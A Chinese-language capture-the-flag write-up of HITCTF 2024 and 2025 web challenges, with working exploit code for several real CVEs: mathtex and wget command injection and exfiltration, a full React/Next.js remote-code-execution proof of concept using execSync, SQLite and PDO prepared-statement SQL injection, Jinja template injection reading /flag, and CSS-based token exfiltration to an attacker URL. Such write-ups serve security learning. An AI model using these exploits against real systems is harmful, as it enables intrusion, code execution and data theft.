Hitctf 2024&2025 web wp

Tue, 09 Dec 2025 19:46:01 +0800

2024

mathex

cve-2023-51887

mathex<=1.05时表达式以\which{;}格式传入可以绕过过滤实现命令执行

if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
    int ispermitted = 1;
    int nlocate = 1;
    char *path = NULL;
    char whichmsg[512];
    trimwhite(argstring);
    if (isempty(argstring))
      ispermitted = 0;                            /* arg is an empty string */
    else {                                        /* have non-empty argstring */
      int arglen = strlen(argstring);             /* #chars in argstring */
      if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
          || strcspn(argstring, "{}[]()<>") < arglen  /* illegal char */
          || strcspn(argstring, "|/\"\'\\") < arglen  /* illegal char */
          || strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
      )
        ispermitted = 0;
    }
    if (ispermitted) {
      path = whichpath(argstring, &nlocate);    // <- popen("which {argstring}")
      sprintf(whichmsg,
              "%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
              argstring, (path != NULL ? path : "not found"));
    } 
    // ...
}

没有源代码就简单搭了一个环境(~~也是老古董了还在用cgi~~)

`1`	`/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;cd$IFS..;ls}`

wget

又是一个cve:cve-2024-10524

先看看源码

from flask import Flask, request, render_template, jsonify 
import subprocess 
import os 
import base64 
app = Flask(__name__) 
FLAG = os.getenv("FLAG", "flag{}") 
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode() 
print(f"FLAG: {flag_base64}")
@app.route("/") 
def index(): 
    with open(__file__, "r") as file: 
        source_code = file.read() 
        return source_code 
         
@app.route("/execute", methods=["POST"]) 
def execute(): 
    auth = request.form.get("auth") 
    if not auth: 
		    return jsonify({"error": "auth is required"}), 401 
    if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth): 
        return jsonify({"error": "Hacker!"}), 400 
    try: 
        command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"] 
        subprocess.run(command, check=True) 
        return jsonify({"message": "Command executed successfully"}) 
    except Exception as e: 
        return jsonify({"error": "Command failed"}), 500 

if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)

找到一篇文章CVE-2024-10524 Wget Zero Day Vulnerability

主要是利用wget的解析差，如果尝试wget aaa:bbb@ccc，wget会自动将其解释为ftp://aaa/bbb@ccc（其中bbb@ccc会被识别为一个目录名），那么我们就可以利用ftp的匿名登录来进行外带。

我这里没有用常见的ftp，而是使用了python的一个库来模拟ftp。

`1`	`pip install pyftpdlib`

因为bbb@ccc会被识别为目录，所以我们要提前创建一个aaaaaa@127.0.0.1:5000目录，在服务器上我们还需要开启对应的端口（我这里用的默认21）和ftp被动模式的端口。

做完这些我们就可以启动ftp服务了

`1`	`python -m pyftpdlib -p 21 -D`

发送payload

1
2

POST /execute
auth=[数字ip]:aaaaaa //这里过滤了点，我们使用数字ip

静静等待连接即可

参考文章：

HITCTF2024 Writeup - Turker’s

HITCTF2024 wget wp-先知社区

2025

logServer

先看源码

from flask import Flask, request, jsonify, render_template_string
import sqlite3
import random


def gen_secret():
    secret_int = random.getrandbits(96)
    secret_bits = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, byteorder='big')
    return secret_bits.hex()


app = Flask(__name__)
conn = sqlite3.connect("database.db", isolation_level=None, check_same_thread=False)
conn.execute("""
    CREATE TABLE IF NOT EXISTS logs (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        message TEXT NOT NULL
    )
""")
conn.execute("""
    CREATE TABLE IF NOT EXISTS secret (
        secret TEXT NOT NULL
    )
""")
conn.execute(f"INSERT INTO secret VALUES ('{gen_secret()}')")


@app.route("/")
def health_check():
    return jsonify({"status": "ok"}), 200


@app.route("/log", methods=["POST"])
def log_message():
    data = request.get_json()
    message = data.get("message")
    if not message:
        return jsonify({"success": False, "error": "Message is required"}), 400

    try:
        conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
        return jsonify({"success": True}), 200
    except Exception as e:
        return jsonify({"success": False, "error": str(e)}), 500


@app.route("/backdoor", methods=["POST"])
def backdoor():
    data = request.get_json()
    secret = data.get("secret")
    code = data.get("code")

    if not secret or not code:
        return jsonify(
            {"success": False, "error": "Secret and code are required"}
        ), 400

    stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
    if secret != stored_secret:
        return jsonify({"success": False, "error": "Invalid secret"}), 403

    res = render_template_string(code)
    return jsonify({"success": True, "result": res}), 200


@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

0x01 sqlite注入

/log存在明显的sql注入

`1`	`conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")`

不过它使用的是INSERT ，没法直接用联合查询，拷打的gemini告诉我可以使用报错注入来泄露secret

`1`	`' \|\| json_extract('{"a":1}', (SELECT secret FROM secret)) \|\| '`

`1`	`' \|\| fts3_tokenizer((SELECT secret FROM secret)) \|\| ' -- 也可以`

0x02 伪随机预测

/backdoor很明显的无过滤ssti，前提是secret验证通过。本题最大的难点来了

@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response

每次请求都会更新secret，刚开始想打条件竞争来着，但未成功，于是想到了伪随机，收集足够的随机数样本来预测secret。

`1`	`pip install randcrack`

综上本题的总体思路为：利用sqlIte注入泄露secret=>重复收集泄露的secret=>预测secret=>ssti

你可以使用python的库来预测，我这里没用

exp如下：

import requests
import re
from z3 import *

N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def untemper(y_val):
    y = BitVec('y', 32)
    y1 = y ^ LShR(y, 11)
    y2 = y1 ^ ((y1 << 7) & 0x9d2c5680)
    y3 = y2 ^ ((y2 << 15) & 0xefc60000)
    y4 = y3 ^ LShR(y3, 18)
    s = Solver()
    s.add(y4 == y_val)
    if s.check() == sat:
        return s.model()[y].as_long()
    return 0

def temper(y):
    y ^= (y >> 11)
    y ^= ((y << 7) & 0x9d2c5680)
    y ^= ((y << 15) & 0xefc60000)
    y ^= (y >> 18)
    return y

def twist(state):
    for i in range(N):
        y = (state[i] & UPPER_MASK) | (state[(i + 1) % N] & LOWER_MASK)
        state[i] = state[(i + M) % N] ^ (y >> 1) ^ ((y & 1) * MATRIX_A)
    return state

URL = "http://xxx/log"
BACKDOOR_URL = "http://xxx/backdoor"

def get_secret():
    payload = "' || json_extract('{\"a\":1}', (SELECT secret FROM secret)) || '"
    try:
        r = requests.post(URL, json={"message": payload})
        if "JSON path error near" in r.text:
            match = re.search(r"JSON path error near '([0-9a-f]+)'", r.text)
            if match:
                return match.group(1)
    except:
        return None
    return None

def main():
    secrets = []
    for i in range(210):
        s_hex = get_secret()
        if not s_hex:
            return
        s_int = int(s_hex, 16)
        a = s_int & 0xFFFFFFFF
        b = (s_int >> 32) & 0xFFFFFFFF
        c = (s_int >> 64) & 0xFFFFFFFF
        secrets.append(a)
        secrets.append(b)
        secrets.append(c)
    
    state = [untemper(y) for y in secrets[:624]]
    next_state = twist(state)
    
    payloads = [
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la /').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}",
        "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/readflag').read() }}"
    ]
    
    current_idx = 6
    for code in payloads:
        next_words = []
        for k in range(3):
            y = next_state[current_idx + k]
            y = temper(y)
            next_words.append(y)
        a, b, c = next_words
        next_secret_int = a | (b << 32) | (c << 64)
        next_secret_hex = next_secret_int.to_bytes(12, 'big').hex()
        
        r = requests.post(BACKDOOR_URL, json={"secret": next_secret_hex, "code": code})
        print(f"Secret: {next_secret_hex}")
        print(f"Status: {r.status_code}")
        print(f"Response: {r.text}")
        
        current_idx += 3
        if current_idx + 3 >= N:
            next_state = twist(next_state)
            current_idx = 0

if __name__ == "__main__":
    main()

Freestyle

本来是个xss题目，结果被无条件rce的cve非预期了

0x01 源码分析

跟上题差不多的逻辑，token通过验证后就会给flag

// /app/api/flag/route.ts
import { type NextRequest, NextResponse } from "next/server";
import { validateToken } from "@/lib/token-store";

export async function GET(request: NextRequest) {
  const searchParams = request.nextUrl.searchParams;
  const token = searchParams.get("token");

  if (!token) {
    return NextResponse.json({ error: "Missing token" }, { status: 400 });
  }

  if (validateToken(token)) {
    return NextResponse.json({
      flag: "flag{redacted_flag}",
    });
  } else {
    return NextResponse.json({ error: "Invalid token" }, { status: 403 });
  }
}

而token的生成来自以下文件

// /lib/token-store.ts
declare global {
  var CTF_CHALLENGE_TOKEN: string | undefined;
  var CTF_CHALLENGE_LOCKED: boolean | undefined;
}

export function generateToken(): string {
  const token = Math.floor(Math.random() * 100).toString().padStart(2, '0');
  globalThis.CTF_CHALLENGE_TOKEN = token;
  globalThis.CTF_CHALLENGE_LOCKED = false;
  console.log(`[CTF] New token generated: ${token}`);
  return token;
}

export function getToken(): string {
  if (!globalThis.CTF_CHALLENGE_TOKEN) {
    return generateToken();
  }
  return globalThis.CTF_CHALLENGE_TOKEN;
}

export function validateToken(inputToken: string): boolean {
  if (globalThis.CTF_CHALLENGE_LOCKED) {
    return false;
  }

  const currentToken = getToken();
  if (inputToken === currentToken) {
    return true;
  }
  // Lock on failure
  globalThis.CTF_CHALLENGE_LOCKED = true;
  console.log(`[CTF] Challenge LOCKED due to invalid token attempt.`);
  return false;
}

每次开启靶机生成一个两位数的token，并且输入一次错误就会永久锁定。

对于CardGenerator.tsx，重点关注一下几行

<div
    data-token={serverToken}
    className="w-full max-w-md aspect-[1.586/1] rounded-xl shadow-2xl overflow-hidden relative transition-all duration-300"
    style={previewStyle}
>

const previewStyle = {
	background: bgImage,
}
    
const [bgImage, setBgImage] = useState(
    searchParams.get("bg-image") ||
      "linear-gradient(var(--gradient-angle),var(--gradient-from),var(--gradient-to))",
);

bg-image参数是可控的，但只能进行css注入来泄露data-token。

0x02 非预期

最近react爆出来一个无条件rce的cve。

而这题的版本正好符合该cve的条件。

我这里使用内存马版本的exp

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "ip"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "ls"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

rce就可以干任何事情了，flag就在代码里不过需要找到编译后的文件。

`1`	`grep -RIl "flag{" /app/`

还有一种优雅的方式，直接修改data-token，因为data-token是存在全局变量里面的，我们可以利用原型链访问到全局变量。

POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF

------React2ShellBoundaryCTF
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}}
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="1"

"$@0"
------React2ShellBoundaryCTF--

参考：https://lunaticquasimodo.top/blog/hitctf-2025-web-freestyle-writeup

0x03 预期

https://portswigger.net/research/inline-style-exfiltration

poc：

<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(http://127.0.0.1:8888));
  background: image-set(var(--steal));
' data-username="alice">Test</div>

payload:

1
2
3

bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(http://ip/leak/07);else:url(http://ip/leak/no))

exp:

import urllib.parse
import urllib.request

base = "http://ip/leak/"
target = "http://ip"
expr = f'url({base}no)'
for i in reversed(range(100)):
  t = f"{i:02d}"
  expr = f'if(style(--val:"{t}"):url({base}{t});else:{expr})'

payload = "/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal=" + urllib.parse.quote(expr, safe="")
# print(payload)

url = target.rstrip("/") + payload
urllib.request.urlopen(url, timeout=5)

Impossible SQL

这题差点给我绕晕了

0x01 源码分析

先看源码

//index.php
<?php
error_reporting(0);
require_once 'init.php';

function safe_str($str) {
    if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
        return false; 
    }
    return true;
}

if (!isset($_GET['info']) || !isset($_GET['key'])) {
    HIGHLIGHT_FILE(__FILE__);
    die('');
}

$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);

if (!safe_str($info) || !safe_str($key)) {
    die('Invalid input');
}

$sql = "SELECT `$info` FROM users WHERE username = ?";

$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>

//init.php
//远程还有关键字waf我本地没有加上
<?php

// 数据库配置
$host = '127.0.0.1';
$dbname = 'test';
$user = 'root';
$pass = 'root';

// 创建 PDO 连接
$dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";

$pdo = new PDO($dsn, $user, $pass);

?>

base64_decode说明传入的参数是 Base64 编码过的

info：数据库字段名
key：用户名

str_replace(’`’, ‘``’, …)

将反引号 ```转成，转义无影响
防止利用反引号逃逸字段名（SQL 注入的一种）

safe_str过滤

空格、Tab、换行：[ \t\r\n]
SQL 注释：
- /*
- #
- -- （后面跟空格或换行）(不是匹配–而是匹配– 类似的形式）

过滤+预处理看起来无懈可击了

0x02 关键字WAF绕过

远程存在WAF（本地没加），拦截SELECT、UNION等关键字。利用php对base64的容错来绕过：在Base64字符串中插入空格，PHP的base64_decode()会自动忽略。

1
2

def split_b64(s):
    return " ".join(s)  # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="

0x03 PDO绕过

参考这篇文章Novel SQL Injection Technique in PDO Prepared Statements

利用 PDO 的内部解析逻辑来实现注入，如果你向 info 参数传入一些特殊的字节（比如 ? + null 字节），PDO 的解析器错误 把这个 ? 当作一个新的 bind 参数，此时原本只有一个绑定参数，但 PDO 却认为存在多个，最终可以让你注入 SQL 代码片段。

int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;

	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/

	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}

反引号里可以被接受的内容包括了 \001-\377 ，但是偏偏少了一个 \0 。也就是说如果我们传入 ?\0 会导致PDO 试图把 ?\0 当作一个完整的反引号标识符，读到 \0 时 fallback 到 SPECIALS 分支，反引号被当做一个普通符号跳过了，这导致紧接着的 ? 暴露出来，被 PDO 当做一个占位符。

另外waf禁止了[ \t\r\n] ，在MySQL会将 \x0b 识别为空白符， \x0b（垂直制表符VT）可以绕过过滤

53 45 4C 45 43 54   -> SELECT
0B                  -> \x0b
31 2B 31            -> 1+1
3B                  -> ;

waf还禁止了文章中使用的#号

`1`	`info = \?#\x00`

#不能使用，使用--\x0b替代，过滤只过滤--[ \t\r\n]的形式，而没有过滤–本身没被过滤，--\x0b绕过过滤的同时最后会被解析成--[空格]，达到注释的目的。

0x04 构造payload

payload结构：

info = b'\\?--\x0b\x00' #多加一个\是为了制造合法列名进行逃逸
key = b"x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b"

# b"x`FROM\x0b("
# b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
# b"FROM\x0binformation_schema.tables\x0b"
# b"WHERE\x0btable_schema=database()"
# b")y;--\x0b"

执行流程分析：

1.PDO prepare:

`1`	SELECT `\?--\x0b\x00` FROM users WHERE username = ?

2.PDO替换:

?的位置被替换为key的值

`1`	SELECT `x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b'--\x0b\x00` FROM users WHERE username = ?

3.PDO预编译:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;-- '-- ` FROM users WHERE username = ?

key整体被自动加上单引号和反斜杠转义

4.忽略注释后面:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;

MySQL 的 反引号（`） 用来包 标识符（列名、别名、表名），在反引号中：

' 单引号是普通字符
\ 也是普通字符（不是转义）

`1`	`\'x`是一个合法的列名 / 别名

外层查询：从子查询结果中取名为 \'x 的那一列

`1`	SELECT `\'x` FROM ( ... ) y;

子查询：从当前数据库取所有表名，把 table_name 起别名为 \'x

`1`	SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema = database()

其他payload同理。

0x05 exp

import base64
import requests

url = "http://ip"

def split_b64(s):
    """Split base64 to bypass WAF"""
    return " ".join(s)

def exploit(key_payload):
    
    info = b'\\?--\x0b\x00' 
    
    info_b64 = (base64.b64encode(info).decode())
    key_b64 = (base64.b64encode(key_payload).decode())
    
    r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10)
    print(r.text)
    
    if r.text.strip():
        print(r.text)
    
    return r

vt = b'\x0b'  

exploit(b'1`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt + 
        b'AS' + vt + b"`'1`" + vt + b'FROM' + vt + b'information_schema.tables' + vt + 
        b'WHERE' + vt + b'table_schema=database())y;--' + vt)

#使用hex就不用加引号了（引号被过滤）
table_hex = b'0x666c6167'
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + 
        b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + 
        b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt)


exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'flag' + vt + b'AS' + vt + 
        b"`'x`" + vt + b'FROM' + vt + b'flag' + vt + 
        b'LIMIT' + vt + b'1)y;--' + vt)

ezLoader

java学会了再来复现

参考链接：

https://gyrojibering.github.io/ctf/2025/12/07/hitctf-2025-writeup/

https://www.turker.cn/archives/hitctf-2025-writeup

Novel SQL Injection Technique in PDO Prepared Statements

https://lunaticquasimodo.top/blog

Wget on Freedom

Hitctf 2024&2025 web wp

2024

mathex

wget

2025

logServer

0x01 sqlite注入

0x02 伪随机预测

Freestyle

0x01 源码分析

0x02 非预期

0x03 预期

Impossible SQL

0x01 源码分析

0x02 关键字WAF绕过

0x03 PDO绕过

0x04 构造payload

0x05 exp

ezLoader